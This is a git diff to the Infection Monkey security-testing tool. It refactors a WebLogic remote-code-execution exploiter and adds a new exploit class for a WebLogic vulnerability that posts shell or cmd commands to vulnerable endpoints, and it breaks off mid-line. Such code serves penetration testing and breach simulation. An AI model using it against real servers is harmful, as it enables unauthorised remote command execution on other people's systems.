diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 4c99f82b9..83439e64f 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -14,6 +14,7 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
+import copy
__author__ = "VakarisZ"
@@ -21,28 +22,28 @@ LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
-REQUEST_DELAY = 0.0001
+REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
-URLS = ["/wls-wsat/CoordinatorPortType",
- "/wls-wsat/CoordinatorPortType11",
- "/wls-wsat/ParticipantPortType",
- "/wls-wsat/ParticipantPortType11",
- "/wls-wsat/RegistrationPortTypeRPC",
- "/wls-wsat/RegistrationPortTypeRPC11",
- "/wls-wsat/RegistrationRequesterPortType",
- "/wls-wsat/RegistrationRequesterPortType11"]
-# Malicious request's headers:
-HEADERS = {
- "Content-Type": "text/xml;charset=UTF-8",
- "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
- "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
- }
class WebLogicExploiter(WebRCE):
+ URLS = ["/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11"]
+ # Malicious request's headers:
+ HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+ }
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
@@ -55,19 +56,29 @@ class WebLogicExploiter(WebRCE):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
- exploit_config['url_extensions'] = URLS
+ exploit_config['url_extensions'] = WebLogicExploiter.URLS
return exploit_config
+ def exploit_host(self):
+ exploiters = [WebLogic20192725]
+ for exploiter in exploiters:
+ if exploiter(self.host).exploit_host():
+ return True
+ if super(WebLogicExploiter, self).exploit_host():
+ return True
+ else:
+ return False
+
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
else:
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
try:
- post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
+ post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
- print('[!] Connection Error')
- print(e)
+ LOG.error("Connection error: %s" % e)
+ return False
return True
@@ -100,7 +111,7 @@ class WebLogicExploiter(WebRCE):
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
- post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
+ post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False)
except exceptions.ReadTimeout:
# Our request will not get response thus we get ReadTimeout error
pass
@@ -224,3 +235,82 @@ class WebLogicExploiter(WebRCE):
def stop(self):
self._stopped = True
+
+
+# Exploit based of:
+# Andres Rodriguez (acamro)
+# https://github.com/rapid7/metasploit-framework/pull/11780
+class WebLogic20192725(WebRCE):
+ URLS = ["_async/AsyncResponseServiceHttps"]
+
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Weblogic'
+
+ def __init__(self, host):
+ super(WebLogic20192725, self).__init__(host)
+
+ def get_exploit_config(self):
+ exploit_config = super(WebLogic20192725, self).get_exploit_config()
+ exploit_config['url_extensions'] = WebLogic20192725.URLS
+ exploit_config['blind_exploit'] = True
+ exploit_config['dropper'] = True
+ return exploit_config
+
+ def exploit(self, url, command):
+ if 'linux' in self.host.os['type']:
+ payload = self.get_exploit_payload('/bin/sh', '-c', command)
+ else:
+ payload = self.get_exploit_payload('cmd', '/c', command)
+ try:
+ resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT)
+ return resp
+ except Exception as e:
+ LOG.error("Connection error: %s" % e)
+ return False
+
+ def check_if_exploitable(self, url):
+ headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''})
+ res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
+ if res.status_code == 500 and "